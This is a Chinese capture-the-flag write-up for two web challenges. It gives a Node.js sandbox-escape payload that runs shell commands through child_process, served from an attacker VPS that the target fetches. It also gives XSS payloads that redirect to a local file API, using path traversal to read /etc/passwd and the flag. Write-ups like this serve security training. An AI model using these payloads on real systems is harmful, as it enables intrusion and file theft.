crawler_z

可任意注册登录
提示注意Bucket的验证,审计源码种Bucket的验证操作

符合正则条件/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/即可返回token,然后这里的token校验只是检测了是否为字符串,无验证效果,Bucket可控即可实现Nodejs的代码注入执行。网上找个nodejs的代码执行payload
<script>process=this.constructor.constructor.constructor('return process')();flag=process.mainModule.require("child_process").execSync("whoami").toString();doc ument.write(flag);document.write(this.constructor.constructor.constructor('retur n process')().toString());</script> |
在VPS上创建一个名称为test.html.oss-cn-beijing.ichunqiu.com的文件,将代码执行的payload放在里面,然后先随意更新下Bucket得到一个token,然后再用
http://VPS_IP_addresss/test.html.oss-cn-beijing.ichunqiu.com |
再次更新Bucket,然后验证的时候用之前得到的token进入/verify的路由,之后在/verify路由的操作中就会去访问这个地址下的文件,成功执行代码。/readflag即可得到flag
Secrets_Of_Admin

源码中有admin的密码
登录,是一个内容生成的共功能
审计代码,先看这个POST内容生成功能路由
content我们可以控制输入,输入的内容被写入在/api/files/一个文件中,名称可由传入checksum控制
filename、checksum、username均可控,那么就可以利用可控制的变量重新写入内容,限制是IP是127.0.0.1
那么大致思路就是用content构造xss,,然后就会去访问/api/files传三个参数写入到数据库种,接访问/api/files/id得到返回的内容
不过这里对content有一些防范XSS的机制,过滤了一些关键字。需要想办法bypass
这里是Express的框架,includes()的检测对数组不起作用
所以使用传入数组形式即可绕过,有点类似PHP中的一些绕过方法
最终payload
<script>location.href="http://127.0.0.1:8888/api/files?username=admin&filename=../../../../../../../../../etc/passwd&checksum=1"</script> |
访问/api/files/1下载

成功进行了任意文件读取,接着根据源码中的提示读取/files/flag即可得到flag
<script>location.href="http://127.0.0.1:8888/api/files?username=admin&filename=flag&checksum=flag.txt"</script> |

